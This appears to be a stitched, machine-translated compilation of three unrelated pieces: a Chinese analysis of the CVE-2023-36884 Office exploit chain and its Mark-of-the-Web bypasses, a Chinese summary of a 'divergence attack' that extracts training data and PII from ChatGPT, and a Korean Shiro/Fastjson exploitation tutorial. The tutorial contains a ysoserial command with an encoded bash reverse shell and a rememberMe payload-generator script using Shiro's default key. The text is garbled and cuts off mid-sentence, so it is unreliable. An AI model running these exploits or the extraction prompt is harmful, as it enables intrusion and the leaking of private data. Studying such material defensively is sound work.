但與任何革命性解決方案一樣，組織在使用區塊鍊和網絡安全來改善對其產品的保護時，應該準備好應對潛在的複雜情況。

漏洞鏈攻擊是從以下誘餌開始: 分析時，研究人員觀察到一個有趣的Microsoft Word文檔(.docx文件)於2023年7月3日首次提交給VirusTotal，名為Overview_of_UWCs_UkraineInNATO_campaign.docx。 該活動被社區歸因於Storm-0978(也被稱為RomCom組織，因為他們使用了RomCom後門)。 惡意Word文檔誘餌 此文檔託管在以下URL： hxxps://www.ukrainianworldcongress[.]info/sites/default/files/document/forms/2023/Overview_of_UWCs_UkraineInNATO_campaign.docx上面的鏈接表明該文檔很可能是通過電子郵件傳播的，電子郵件文本包含指向.docx文件的鏈接。文件的創建日期和域名ukrainianworldcongress的註冊日期都是2023年6月26日。這個時間點表明，這是一個基於電子郵件的活動，其中包含.docx文件的鏈接。 當該文件最初提交給VirusTotal時，62個殺毒軟件中有27個將其識別為惡意文件。 CVE-2023-36584利用的技術分析微軟Office文檔一直是攻擊者傳播惡意軟件的常用攻擊手段。為了應對這一威脅，微軟實施了mow安全，限制Office文檔中的各種功能來自不受信任的位置。 Windows將這些文件識別為高風險文件。帶有mow標記的文件會生成一個SmartScreen提示，表明它有潛在的危險。當Word文檔未標記為mow時，就會被攻擊者利用，導致禁用Protected View。 為了理解CVE-2023-36884是如何被特定的誘餌利用的，我們應該首先了解Microsoft Word對Open XML文件格式的實現過程，在本例中是針對MS-DOCX (.docx)文件。 MS-DOCX文件是一個壓縮的ZIP歸檔文件，其中包含用於顯示Word文檔的多個規範文件。其中之一是位於word/document.xml的XML文件。這是MS-DOCX文件的核心XML組件，它包含文檔的文本和格式。 在Microsoft Word中查看MS-DOCX文件時，文檔的大部分內容都是通過Word /document.xml導入的。 在.docx誘餌中，word/document.xml使用名為altChunk的導入外部內容元素導入內容，如下圖所示。 這個altChunk元素可以導入使用另一種格式的內容，比如富文本格式(RTF)，來自.docx文件的word/document.xml有一個altChunk元素，它使用標識符AltChunkId5指示與外部內容的關係。這個標識符在word/_rels/document.xml.rels的關係文件中被定義。 上圖中顯示的document.xml.rels代碼片段將導入的目標標識為位於word/afchunk.rtf的文件。 RTF文件afchunk.rtf包含兩個惡意的OLE (Object Linking and Embedding)對象。第一個OLE對象使用帶有objautlink RTF控製字的OLE自動鏈接類型，在objautlink控製字之後，一個objupdate控製字強制對像在顯示之前進行更新，如下圖所示。 對像類被定義為Word.Document.8，其數據在其標頭中包含LinkedObject結構，後跟表示十六進製字符的ASCII文本。 我們使用Didier Steven的rtfdump.py工具進一步檢查afchunk.rtf。下圖顯示了前面所示的objautlink片段的十六進制(hex)輸出，這個輸出更清楚地顯示了LinkedObject結構。 第一個惡意OLE對象的rtfdump.py輸出 此十六進制轉儲顯示\\104.234.239[.]26\share1\MSHTML_C7\file001.url，一個使用服務器消息塊（SMB）協議的惡意url。 使用rtfdump.py查看afchunk.rtf，我們發現另一個使用xmlfile類的惡意OLE對象，其標頭包含EmbeddedObject結構。嵌入的對像是一個複合文檔，其中包含一個URLMoniker，它從URL加載XML文件hxxp://74.50.94[.]156/MSHTML_C7/start.xml，如下圖中的藍色標註。 第二個惡意OLE對象的rtfdump.py輸出 漏洞利用鏈的第一階段對該漏洞利用鏈的初步研究得出了一個流程圖，該流程圖由@zcracga創建，並於2023年7月12日由@r00tbsd共享。該流程圖有助於可視化通過漏洞利用鏈工作的不同階段。 漏洞利用鏈流程圖 我們最初關注的域是afchunk.rtf中惡意OLE對象的兩個URL。如前所述，這些OLE對像從以下URL請求內容： \\104.234.239[.]26\share1\MSHTML_C7\file001.url hxxp://74.50.94[.]156/MSHTML_C7/start.xml當Windows客戶端連接到SMB服務器時，該客戶端會發送Windows NT LAN Manager（NTLM）憑據進行身份驗證。因此，當受害者主機訪問位於\\104.234.239[.]26\share1\MSHTML_C7\file001.URL的URL時，它會將受害者的NTLM憑據及其主機名和用戶名洩漏給攻擊者控制的SMB服務器。收集到的信息稍後將用於攻擊鏈。 下圖顯示了嵌入file001.url中的HTML代碼。 file001.url片段 通過檢查file001.url，UName變量包含受害者的用戶名。這是攻擊者控制的SMB服務器從受害者洩露的NTLM憑據中收集的用戶名。如果上圖顯示的變量d不為空，則漏洞利用鏈將用戶名與攻擊者傳遞的值連接起來，該值用於創建名為2222.CHM的CHM文件的路徑，該文件包含在名為file001.zip的文件中。 在攻擊鏈的這一階段，2222.chm不存在，或者它可能是攻擊者使用的其他攻擊的一部分。 file001.url的進一步行為將在後面解釋，因為它與2222.chm密切相關。 afchunk.rtf中的第二個惡意OLE對象來自hxxp://74.50.94[.]156/MSHTML_C7/start.xml。此start.xml文件包含一個iframe，用於從同一服務器和目錄路徑加載另一個名為RFile.asp的文件。 start.xml中引用RFile.asp的iframe片段 RFile.asp負責在服務器上加載另一個文件，該文件的攻擊特定路徑定義為： file[:]//104.234.239[.]26/share1/MSHTML_C7/1/__file001.htm?d=__該路徑由受害者的 RFile.asp中的代碼段 濫用Windows搜索處理程序file001.htm的核心行為是執行JavaScript，如下圖中的代碼片段所示。 file001.htm片段 file001.htm中的JavaScript使用iframes來加載幾個文件。它首先加載一個保存的搜索文件，該文件的文件名由受害者的IP地址和以字符串file001.search-ms結尾的五位標識符組成。我們將把這個文件稱為其文件名file001.search-ms的最後一部分。 接下來是三個HTTP請求，在它們的url中使用字符串.zip_k*。除了執行計時或無操作（no-op）操作外，此行為沒有明顯的價值。 最後，MSHTML重新加載file001。 Search-ms然後加載redir_obj.htm。 這些請求的順序很明顯，因為預期的目的並不明顯。根據相關網絡流量示例中的時間戳，我們推測通過服務器端操作實現了這種事件順序的繞過，其中對.zip_k*文件的請求被用作延遲機制。下圖顯示了在Wireshark中過濾流量的數據包捕獲(pcap)，突出顯示了一個HTTP GET請求與其HTTP響應之間的兩秒延遲。 使用zip_k.asp延遲響應請求 在檢查文件redir_obj.htm時，我們發現瞭如下圖所示的代碼片段。這段代碼從本地路徑加載一個文件，該文件使用在初始SMB連接期間捕獲的洩漏的主機名和用戶名分別作為CompName和UName變量，其用於打開文件file001.zip中名為1111.htm的HTML文件。 來自redir_obj.htm的片段 重新創建Windows搜索處理程序文件我們使用Windows文件資源管理器創建一個空白保存的搜索文件，文件擴展名為.search-ms，以控制包含2222的ZIP文件的位置。提取CHM並說明這個漏洞利用鍊是如何工作的。我們在File Explorer中啟動搜索並保存結果，這創建了一個.search-ms文件。這個保存的搜索文件是一個空白模板，可以重現這個漏洞利用鏈中使用的搜索處理程序文件行為。 Windows系統文件Windows. storage .search .dll處理.search-ms文件。為了成功地將ZIP文件解壓縮到redir_obj.htm文件中指定的目錄中(由圖11中所示的JavaScript iframe加載)，需要進行一些更改。 首先，include元素必須包含一個本地路徑作為它的網絡路徑，並使用FILE_ATTRIBUTE_NORMAL，實現為變量attributes='128'。 基本.search ms文件，已更改為觸發ZIP提取 接下來，autoListFlags屬性必須打開第二個最低有效位，如下圖所示。這將產生一個完整的搜索，其中還包括任何ZIP存檔的內容。 在Windows.Storage.Search.dll中進行.search-ms處理的示例 此時處理.search ms文件將在目標計算機上按以下路徑創建一個目錄： C:\Users\[USERNAME]\AppData\Local\Temp\[Temp1_zip_filename] ZIP文件的內容隨後被提取到該目錄中。 search-ms根據早期SMB洩露的主機信息處理ZIP文件的放置和內容提取。 結果證實了從ZIP文件中提取的兩個文件：1111.htm和2222.chm。 在利用Office中以前的RCE漏洞CVE-2021-40444時，也觀察到了類似的行為。在該攻擊中，攻擊者會利用Microsoft Compressed Archive（CAB）路徑遍歷提取漏洞來實現類似的目標：將HTML文件提取到計算機上的可預測路徑。 在討論1111.htm和2222.chm文件之前，我們首先應該了解Windows安全區域。 Windows安全區域和其他障礙Windows安全區域也被稱為Internet Explorer安全區域或URL安全區域，Windows安全區域是微軟用來確定來自不同來源文件的權限機制。通常，從internet檢索的文件被標識為來自“internet Zone”，並標記為受限權限的mow。 此數據存儲在名為Zone.Identifier的文件的備用數據流（ADS）中，用於指示文件的安全區域。來自“Internet Zone”的文件的ZoneId值為3(安全區域3)。 為了使攻擊鏈的其餘部分成功，1111.htm和2222.chm文件的ZoneId值都必須在其Zone.Identifier ADS（安全區域1）中標識為1。然而，這是一個障礙，因為從遠程路徑下載並由.search-ms提取的ZIP內容的ZoneId值為3，並且該內容會自動標記為MotW。 為了成功利用，還必須克服另外兩個障礙: 障礙1：當Windows Search使用.Search ms完成時，它會刪除[Temp1_zip_filename]目錄。這將生成一個競爭條件，以加載臨時目錄中的文件。 障礙2：默認情況下，Windows不會搜索CHM文件的內容。 2222.chm文件是此漏洞利用鏈的一部分，但它不會使用Windows搜索的默認設置從ZIP存檔中提取。 使用CVE-2023-36584繞過MotW在使用CVE-2023-36884對這個漏洞鏈進行分析期間，研究人員發現了一個漏洞利用途徑，微軟將其命名為CVE-2023-36584。 Windows Search在搜索期間遍歷ZIP存檔中的所有文件。 Windows Search檢查每個文件的文件擴展名，以確定其內容是否也需要搜索。如果是，Windows Search將該文件寫入臨時目錄，並將mow添加到其中。 這個實現生成了一個固有的競爭條件。在將解壓縮文件寫入磁盤和用mow標記它之間有很短的時間窗口。如果我們在這個窗口中延遲Windows搜索，我們可以解決競爭條件並最終繞過mow。 先前利用CVE-2022-41049的技術通過向ZIP存檔中的文件添加只讀屬性來繞過motw，這避免了對區域的修改。這避免了對Zone.Identifier ADS的修改，並阻止了提取的文件接收MotW。這項技術啟發了我們，並使我們發現繞過MotW。 技術1：服務器端ZIP交換服務器端操作使我們能夠解決這些問題，我們發現了一個從檢查時間到使用時間(TOCTOU)的漏洞，當從遠程服務器下載ZIP歸檔文件時，可以利用該漏洞。 Windows使用系統文件zipfldr.dll來提取ZIP存檔的內容。這個Windows DLL文件讀取ZIP文件的標頭並將數據緩存在內存中，同時ZIP存檔的內容被提取並保存到磁盤。 Zipfldr.dll公開了一個API，該API可用於通過在ZIP存檔中指定文件索引來提取文件。 讀取文件標頭後，在使用zipfldr.dll對其進行解壓縮之前，我們可以將遠程服務器上的ZIP文件替換為包含不同名稱文件的ZIP文件，從而導致MotW無法寫入。 這種技術之所以有效，是因為urlmon.dll使用文件路徑來寫入最初從緩存在內存中的ZIP標頭讀取的MotW，以便繞過將MotW寫入文件。 該技術解決了前面提到的關於利用CVE-2023-36884的兩個障礙。成功解壓縮了.chm文件，否則將無法解壓縮，並且這些文件不會立即刪除。 下圖顯示了一個Process Monitor（procmon）視圖，說明創建名為2222.txt的替代文件的嘗試失敗。此條件允許以前保存的2222.chm避免MotW。 使用TOCTOU漏洞繞過mow 我們無法確認這就是攻擊者在原始漏洞利用鏈中使用的確切技術。但是，VirusTotal對初始.docx誘惑的沙箱分析的行為日誌顯示，創建了一個名為1111.txt的文件，表明可能有一個鏡像1111.htm的替代文件名。 技術2：服務器端延遲除了第一種技術外，我們還發現了另外兩種可以顯著延遲mow編寫的技術。此場景防止寫入MotW屬性，並允許從安全區域1中的另一個線程執行文件。 從ZIP存檔中提取文件後，在將MotW添加到Zone.Identifier ADS之前，我們可以從攻擊者控制的SMB服務器引入時間延遲。這是可能的，因為SMB2協議的關閉操作包括關閉請求和結束基於SMB的文件傳輸的關閉響應。 當客戶端接收到來自傳輸文件的所有數據時，它將SMB關閉請求發送回服務器，並等待SMB關閉響應。文件已被傳輸，但傳輸操作尚未完成，直到客戶端收到關閉響應。這是一個同步操作，可以延遲相當長的一段時間。 下圖中的procmon列表顯示了在111.222.11[.]20的SMB服務器在下一次操作之前傳輸了一個名為served.zip的文件後的30秒延遲。這表示關閉請求和關閉響應之間有30秒的延遲。 在這個30秒的窗口中，1111.htm文件是一個沒有MotW的安全區域1文件。在30秒後最終發送了關閉響應後，該過程繼續，並將MotW寫入1111.htm。 mow繞過 技術3：服務器端延遲在從ZIP歸檔文件傳輸大文件時，Windows從遠程共享中讀取文件的一部分，將數據附加到磁盤上的本地文件中，然後從遠程共享中讀取其他部分，直到文件完全寫入磁盤。如果我們在文件末尾附加隨機數據，就可以在Windows將mow添加到文件之前延遲SMB服務器對文件的寫入。該文件在寫入過程中是可用的，因為它是用讀寫dwShareMode打開的。 我們通過在流程中引入10秒延遲來測試這個預設，如下圖所示。 使用延遲閱讀響應的mow 微軟安全更新地址CVE-2023-36884開發此漏洞利用鏈的攻擊者知道SMB文件傳輸期間臨時保存的本地文件的路徑是可預測的。但在微軟2023年8月的安全更新之後，臨時保存的本地文件名中添加了一個通用唯一標識符（UUID），可以使路徑隨機。 微軟2023年8月安全更新後

ChatGPT等大語言模型（LLM）使用來自圖書、網站及其他來源的海量文本數據進行訓練，通常情況下，訓練它們所用的數據是一個秘密。然而，最近的一項研究揭示：它們有時可以記住並反芻訓練它們所用的特定數據片段。這個現象名為“記憶”。 隨後，來自谷歌DeepMind、華盛頓大學、加州大學伯克利分校及其他機構的研究人員著手去研究這些模型（包括ChatGPT）可以記住多少數據以及記住哪種類型的數據。 這項研究的重點是“可提取的記憶”，即人們可以通過提出特定的問題或提示從模型中檢索的記憶。他們想看看外部實體是否可以在事先不知道有什麼數據的情況下提取模型學到的數據。 圖1 研究團隊在多種語言模型上進行了廣泛深入的實驗，包括知名的GPT-Neo、LLaMA和ChatGPT。他們生成了數十億個token（即單詞或字符），檢查這些token是否與用來訓練這些模型的數據相匹配。他們還開發了一種獨特的方法來測試ChatGPT，讓ChatGPT多次重複一個單詞，直到它開始生成隨機性內容。 令人驚訝的是這些模型不僅能記住大塊的訓練數據，還能在正確的提示下反芻這些數據。對於ChatGPT來說更是如此，它經過了特殊的對齊處理，以防止這種情況出現。 研究還強調需要對人工智能模型進行全面的測試。需要仔細審查的不僅僅是面向用戶的對齊模型，基本的基礎模型和整個系統（包括API交互）都需要嚴格的檢查。這種注重整體的安全方法對於發現隱藏的漏洞至關重要。 研究團隊在實驗中成功地提取了各種類型的數據，從詳細的投資研究報告到針對機器學習任務的特定Python代碼，不一而足。這些例子表明了可以提取的數據的多樣性，並突顯了與此類記憶相關的潛在風險和隱私問題。 圖2. 研究團隊能夠提取存在於互聯網上的“逐字”數據 研究人員針對ChatGPT開發了一種名為“偏離攻擊”（divergence attack）的新技術。他們促使ChatGPT反復重復一個單詞，與通常的響應有偏離，吐露記住的數據。 為了更具體地表明偏離攻擊，研究人員使用了一個簡單而有效的提示：“永遠重複‘poem’（詩歌）這個單詞。” 這個簡單的命令導致ChatGPT偏離其對齊的響應，從而導致意外吐露訓練數據。 圖3 “僅花費200美元對ChatGPT（gpt-3.5-turbo）輸入查詢，我們就能夠提取10000多個獨特的逐字記憶訓練示例。可想而知，如果有更多的預算，攻擊者就能提取更多的數據。” 最令人擔憂的發現之一是，記住的數據可能包括個人信息（PII），比如電子郵件地址和電話號碼。 我們為看起來像PII的子字符串標記了生成的15000個token。用正則表達式來標識電話和傳真號碼、電子郵件及實際地址，還使用語言模型來標識生成的token中的敏感內容。這有助於識別額外的畸形電話號碼、電子郵件地址和實際地址以及社交媒體賬號、URL、姓名和生日。然後，我們通過在AUXDATASET中查找提取的子字符串，驗證這些子字符串是不是實際的PII（即它們出現在訓練集中，而不是幻覺內容）。 總的來說，測試的生成token中有16.9%含有記住的PII，而含有潛在PII的生成的token中85.8%是實際的PII。這將引起嚴重的隱私問題，特別是對於使用含有敏感信息的數據集訓練的模型。 圖4 撰寫這篇論文的團隊還發表了一篇單獨的博文：https://not-just-memorization.github.io/extracting-training-data-from-chatgpt.html。 此外，研究人員在僅僅修補特定漏洞和解決模型中的底層漏洞之間做出了重要的區別。比如說，雖然輸入/輸出過濾器可能阻止特定的單詞重複漏洞，但它並不能解決更深刻的問題：模型記憶和可能暴露敏感訓練數據這一固有的傾向。這種區別突顯了保護AI模型的複雜性，而不是流於表面的修復。 研究人員表示，一方面我們需要做更多的工作，比如對訓練數據進行重複數據刪除和理解模型容量對記憶的影響。另一方面，還需要可靠的方法來測試記憶，特別是在高度關注隱私的應用設計的模型中。 技術細節核心方法是從各種模型中生成大量文本，並對照模型各自的訓練數據集檢查這些輸出，以識別記憶的內容。 這項研究主要側重於“可提取的記憶”。這個概念指的是攻擊者在不事先了解訓練集的具體內容下，能夠從模型中有效地恢復訓練數據。該研究旨在通過分析模型輸出與訓練數據的直接匹配來量化這種記憶。 研究團隊在各種模型上進行了實驗，包括GPT-Neo和Pythia等開源模型、LLaMA和Falcon等半開源模型以及ChatGPT等閉源模型。研究人員從這些模型中生成了數十億個token，並使用後綴數組有效地匹配訓練數據集。後綴數組是一種數據結構，允許在較大的文本語料庫中快速搜索子字符串。 對於ChatGPT，由於其會話性質和對齊訓練——這通常阻止直接訪問語言建模功能，研究人員採用了一種“偏離攻擊”，促使ChatGPT無數次重複一個單詞，直到偏離標準的響應模式。這種偏離經常導致ChatGPT吐露從訓練數據中記憶的序列。 圖5 針對ChatGPT“偏離攻擊”的例子：模型被促使重複說“book”，導致最初的準確重複，然後轉向隨機內容。文本輸出標以紅色陰影，表明k-gram與訓練數據集匹配的長度。較短的匹配（比如10個token的短語“I mean, it was dark, but,”）通常是巧合。然而，較長的序列（比如來自《现代童话》 系列的摘錄）不太可能是巧合，這表明來自訓練數據的直接記憶。 該研究通過檢查與訓練數據匹配的一小部分模型輸出來量化記憶率，他們還分析了獨特的記憶序列的數量，發現記憶率明顯高於之前的研究。 研究人員採用古德圖靈（Good-Turing）頻率估計來估計總記憶量。這種統計方法根據觀察到的頻率預測遇到新記憶序列的可能性，提供了一種從有限樣本中推斷總記憶量的穩健方法。 研究探討了模型大小與記憶傾向之間的關係。得出，更龐大、功能更強的模型通常更容易受到數據提取攻擊，這表明模型容量和記憶程度之間存在著關聯。研究人員建議，應該通過傳統軟件系統的視角看待語言模型，這需要我們改變對待語言模型安全分析的方式。 這個觀點勢必需要一種更嚴謹、更系統化的方法來確保機器學習系統的安全性和隱私性，這是人工智能安全領域需要邁出的一大步。

시로 Apache Shiro는 복잡한 문제를 숨기고 개발자가 자신의 프로그램 보안 코드를 쉽게 개발할 수 있도록 명확하고 직관적 인 API를 제공하기 위해 인증, 승인, 암호화 및 세션 관리 기능을 제공합니다. Shiro는 Shiro가 개발 팀을 개발하는 것에 중점을 둡니다. 개발 팀은 "4 개의 보안 초석" - 인증, 승인, 세션 관리 및 암호화 인증 : 사용자 신원 식별. 때로는 "로그인"으로 간주 될 수 있는데, 이는 사용자가 자신이 누구인지 증명하는 행위입니다. 권한 부여 : "무엇"에 액세스 할 수있는 것 "을 결정하는 것과 같은 액세스 제어 프로세스. 세션 관리 : 웹 또는 EJB 컨테이너가없는 환경에서도 사용자 세션을 관리합니다. 사용자 시간 관련 상태를 관리합니다. 암호화 : 암호화 알고리즘을 사용하여 데이터를보다 안전하게 보호하고 데이터를 엿보기를 방지하십시오. @shiro333333https://github.com/vulhub/vulhub/tree/master/shiro CVE-2010-3863 : Apache Shiro 인증 우회 취약성 취약성 원칙 Apache Shiro 1.1.0 이전에 Shiro는 권한 확인을 수행하기 전에 URL을 표준화하지 않았습니다. 공격자는 허가 확인을 우회하기 위해 /, //, /./, /… /등을 구성 할 수 있습니다. 는 버전에 영향을 미칩니다 Shiro 1.1.0 및 JSecurity 0.9.x 취약성 재발 액세스 페이지 주소는 IP:8080입니다 취약점/관리자 크로스 디렉토리를 사용하여 사전 퍼지 테스트 CVE-2016-4437 : Apache Shiro 1.2.4 사막화 취약성/Shiro550 취약성 원칙 Shiro550 취약점에 속합니다. Apache Shiro 1.2.4 및 이전 버전에서는 암호화 된 사용자 정보가 Serimalized 및 Remember-Me라는 쿠키에 저장되었습니다. 공격자는 Shiro의 기본 키를 사용하여 사용자 쿠키를 위조하고 Java Desorialization 취약성을 트리거 한 다음 대상 기계에서 임의의 명령을 실행할 수 있습니다. Shiro는 기본적으로 CookierememberMemanager를 사용하고 RememberMeManaer 클래스, AES 암호화 및 Base64 인코딩 작업에서 Remembe Field 컨텐츠를 직렬화합니다. 신원을 식별 할 때는 쿠키에서 Rememberme 필드를 해독해야합니다. 암호화 순서에 따르면, 암호 해독 순서는==쿠키-베이스 64 디코딩 -AES 암호 해독 방지를 얻는 것으로 추론 될 수있다.== 는 버전에 영향을 미칩니다 Apache Shiro=1.2.4 취약성 재발 인증, 승인, 암호 및 세션 관리를 위해 Shiro 프레임 워크에서 페이지 로그인을 사용하는지 여부를 결정합니다. 판단 방법 : 비밀번호 기억 옵션을 확인한 후 로그인을 클릭하고 패킷을 잡고 요청 패키지에 기억 필 필드가 있는지 여부와 응답 패키지에 set-cookie:remembeme=deleteme 필드가 있는지 여부를 관찰하십시오. 아래 그림과 비슷합니다. Rememberme=deleteme 필드가 응답 패키지에 나타나는 한 취약성이 있음을 의미합니다. 일방적으로 넣으려면, 기억력에 표시되면, Rememberme=deleteme 필드가 나타나면 로그인 페이지가 인증을 위해 Shiro를 사용하고 요청 패키지의 쿠키에 취약성과 리콜 필드가 있음을 직접 표시하지 않으며 반환 패키지 세트 쿠키에는 deleteme 필드가 없음을 나타냅니다. 로그인이 실패하면 Rememberme 필드가 확인되었는지 여부에 관계없이 리턴 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지에는 Rememberme=deleteme 필드가 있습니다. 로그인이 성공하면 반환 패키지 세트 쿠키에는 Rememberme=deleteme 필드가 있습니다. 그러나 모든 후속 요청에서 쿠키에는 Remember Me Field Check Rememberme가 없습니다. 로그인이 성공하면 반환 패키지에는 Set-Cookie에 RememberMe=Deleteme 필드가 있으며 Rememberme 필드가 있습니다. 모든 후속 요청에서 쿠키에는 기억력이 기억되거나 쿠키 다음에 기억에 남는 다음 기억에 남을 수 있습니다. java -cp ysoserial.jar ysoserial.exploit.jrmplistener 6666 commonscollections4 'bash -c {echo, ymfzacatasa+jiavzgv2l3rjcc8xotiumty4ljk5ljeyos80ndq0ida+jje=} | {base64, -d} | {bash, -i} ' shiro-exploit.py를 사용하여 Shiro의 기본 키를 얻으십시오 (공구 주소 : https://github.com/insightglacier/shiro_exploit). shiro.py를 사용하여 페이로드를 생성합니다 (키를 직접 변경해야합니다. Shiro.py 코드는 다음과 같습니다.) 명령 : Shiro.py 192.168.17.13233606666 Shiro.py: SYS 가져 오기 UUID 가져 오기 베이스 64 수입 수입 하위 프로세스 Crypto에서 Cipher Import AES에서 def encode_rememberme (명령) : Popen=subprocess.popen ([ 'java', '-jar', 'ysoserial-0.0.6-snapshot-all.jar', 'jrmpclient', command], stdout=subprocess.pipe) bs=aes.block_size PAD=LAMBDA S: S + ((BS -LEN (S) %BS) * chr (BS -LEN (S) %BS)). Encode () key=base64.b64decode ( 'kph+bixk5d2deziixcaaaa==') iv=uuid.uuid4 (). 바이트 alcryptor=aes.new (key, aes.mode_cbc, iv) file_body=pad (popen.stdout.read ()) base64_ciphertext=base64.b64encode (iv + alcryptor.encrypt (file_body)) base64_ciphertext를 반환합니다 __name__=='__ 메인 __': 인 경우 페이로드=encode_rememberme (sys.argv [1]) print ( 'Rememberme={0}'. 형식 (payload.decode ())) Python3 Shiro.py 192.168.200.12933606666 로그인 한 후 패킷을 잡고 데이터 패킷의 쿠키 값을 shiro.py가 생성 한 기억으로 교체하십시오. CVE-2020-1957 : Apache Shiro 인증 우회 취약성 취약성 원칙 프로젝트 전반에 걸쳐 요청한 URL의 들어오는 전달 프로세스를 분석해야합니다. Shiro를 사용하는 프로젝트에서는 우리가 요청한 URL (URL1)으로 Shiro 권한 (URL2)에 의해 검사 된 URL (URL1)이며 마지막으로 SpringBoot 프로젝트로가는 경로를 찾습니다 (URL3). 취약점은 URL1, URL2 및 URL3에서 발생합니다. 동일한 URL이 아니기 때문에 시로의 확인을 우회하고 백엔드에 직접 액세스하게됩니다. 이 경우의 취약점은 이러한 이유로 인해 발생합니다. Shiro Framework는 Anon, AuthC 및 기타 인터셉터와 같은 인터셉터 기능을 통해 사용자 액세스 권한을 제어합니다. Anon은 익명의 인터셉터이며 로그인에 액세스 할 필요가 없습니다. AuthC는 로그인 인터셉터이며 액세스에 로그인해야합니다. 는 버전에 영향을 미칩니다 Apache Shiro 1.5.2 취약성 재발 URL 변경 /admin로 변경 로그인 로그인 페이지로 자동 이동합니다. 허가 우회에 대한 악의적 인 요청을 구성 코드 레벨이 추가되었으므로; 우회 된 것으로 인식 될 것입니다. 하나/단락을 추가하십시오. URL은 /xxx/. /xxx/./admin/ 시로 721 취약성 재발 : CVE-2019-12422 환경 : Kali Linux Docker 빌드 및 시작 git 클론 https://github.com/3ndz/shiro-721.git CD Shiro-721/Docker Docker Build -t Shiro -721. Docker Run -P 8080:8080 -D Shiro -721 입장: 올바른 계정 비밀번호로 로그인하면 아래 그림과 같이 두 개의 요청 패킷, 즉 게시 및 getPost 요청 패킷 (올바른 계정 비밀번호로 로그인하여 얻은 패키지 Get Request 패키지는 다음과 같습니다 (이것은 올바른 암호로 로그인하여 쿠키 값을 배경에 주로 제출하여 얻은 패키지입니다) Repemerme=deleteme 필드를보고 Shiro Deserialization 취약성 가 있다고 말할 수 있습니다. Burp Plugin은 Shiro의 지문을보기 위해 HAE 및 LOGGER ++를 추가합니다. 도구 활용 : FastJson @fastjson:https://github.com/vulhub/vulhub/tree/master/fastjson 취약성 원칙 이 취약점의 원칙은 Fastjson의 사막화 메커니즘에 있습니다. Fastjson이 JSON 데이터를 파싱하면 JSON 데이터를 Java 객체로 변환하려고합니다. 이 프로세스에서 Fastjson은 JSON 데이터의 유형 정보를 기반으로 데이터를 구문 분석하는 방법을 결정합니다. 공격자는이 기능을 활용하여 JSON의 특정 데이터 유형과 구조를 구성 할 수 있으므로 FastJSON은 구문 분석 중에 악의적으로 구성된 Java 클래스 또는 방법을 호출하여 원격 코드 실행을 실현합니다. 일반적인 악용 방법은 FastJson의 자동 형 기능을 사용하는 것입니다. Autotype은 SASTJSON의 기능으로 직렬화 및 사제화 할 때 클래스의 완전히 자격을 갖춘 클래스 이름을 사용할 수 있습니다. 공격자는 악의적 인 JSON 데이터를 구성하고 악의적 클래스를 자동 타입의 값으로 사용할 수 있습니다. FastJson이 소화되면 지정된 클래스를 인스턴스화하여 클래스에서 코드를 실행하려고 시도합니다 (Exploit 프로세스에서는 JDBCrowsetlmpl이 일반적으로 체인을 이용하도록 악용). @Type 필드 @type는 객체 유형 정보를 처리하는 데 사용되는 Fastjson의 특수 필드 중 하나입니다. JSON 데이터에서 @Type 필드는 사막화 중에 인스턴스화 해야하는 클래스의 유형을 지정하는 데 사용될 수 있습니다. 이 필드는 일반적으로 특히 Fastjson의 Autotyp 함수가 활성화 될 때, 사막화 중 객체의 유형 정보를 지정하는 데 사용됩니다. @type 필드를 통해 Fastjson은 인스턴스화 할 클래스를 식별하고 해당 필드에 제공된 클래스 경로를 기반으로 객체를 만들 수 있습니다. 이것은 객체의 정확한 유형을 지정할 수 있으므로 복잡한 객체 구조를 직렬화하고 실조화 할 때 매우 유용합니다. 그러나 @type 필드의 존재와 사용으로 인해 악의적 인 사용자 가이 필드를 사용하여 악의적 인 JSON 데이터를 구성하고 @Type 필드에 악의적 인 클래스 경로를 지정할 수 있습니다. 이러한 방식으로, 사막화 과정에서 FastJson은 @Type 필드에서 지정된 클래스 경로를 기반으로 해당 클래스를 인스턴스화하여 악의적 인 코드가 실행되거나 보안 취약성이 악용 될 가능성이 있습니다. jndi JNDI, RMI 및 LDAP는 다양한 목적으로 Java에서 사용되는 기술입니다. JNDI (Java Naming and Directory Interface) : JNDI는 Java의 API 세트로 다양한 이름 지정 및 디렉토리 서비스에 액세스하는 데 사용됩니다. JNDI는 Java 애플리케이션이 DNS, LDAP, RMI 레지스트리 등과 같은 다양한 이름 지정 및 디렉토리 서비스를 연결하고 사용할 수있는 통합 액세스 방법을 제공합니다. RMI (원격 메소드 호출) : RMI는 Java에서 원격 메소드 호출을 구현하는 데 사용되는 메커니즘입니다. 다른 Java 가상 머신 간의 객체 간의 통신 및 메소드 호출을 허용합니다. 분산 시스템에서 RMI를 사용하면 원격 시스템이 서로의 방법을 호출하여 원격 객체 간의 상호 작용을 달성 할 수 있습니다. LDAP (Lightweight Directory Access Protocol) : LDAP는 분산 디렉토리 서비스에 액세스하는 데 사용되는 프로토콜입니다. JNDI는 Java에서 일반적으로 사용자 정보, 조직 구조 등과 같은 구조화 된 데이터를 저장하는 데 사용됩니다. JNDI는 LDAP 액세스를 지원하며 JNDI가 사용자 인증, 데이터 검색 등과 같은 LDAP 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다. JNDI (JVA API)를 포함한 JNDI의 관계는 LDAP에 접근하는 방법을 제공한다는 것입니다. JNDI를 사용하면 LDAP 서버를 연결하고 작동하고 LDAP 디렉토리에 데이터를 검색하고 저장할 수 있습니다. 또한 JNDI를 사용하여 RMI 레지스트리에서 원격 객체를 찾아 원격 메소드 호출을 구현할 수도 있습니다. 요약하면, JNDI는 Java의 API로서 다양한 서비스에 액세스 할 수있는 통합 된 방법을 제공하여 Java 응용 프로그램이 LDAP 및 RMI 레지스트리와 같은 다양한 명칭 및 디렉토리 서비스를 연결하고 운영 할 수 있도록합니다. jdbcrowsetimpl은 체인을 사용합니다 Fastjson에서는 사막화 공격에 jdbcrowsetimpl을 사용합니다. JDBCROWSETIMPL의 활용 체인의 초점은 자동 커밋 세트 메소드를 호출하는 방법입니다. Fastjson Dessorialization의 특징은 클래스의 설정 방법을 자동으로 호출하므로 사막화의 문제가 있다는 것입니다. @type 유형이 공식화되는 한 해당 클래스를 자동으로 호출하여 구문 분석합니다. 이렇게하면 활용 체인을 구성 할 수 있습니다. @Type 유형이 JDBCrowsetImpl이면 JDBCrowsetImpl 클래스가 인스턴스화됩니다. 따라서 DataSourceame이 조회 방법으로 전달되는 한 원격 공격 서버에 액세스 할 수있는 다음 Autocommit 속성을 사용하여 조회를 트리거 할 수 있습니다. 전체 프로세스는 다음과 같습니다. SetAutoCommit 함수를 사용하여 Connect 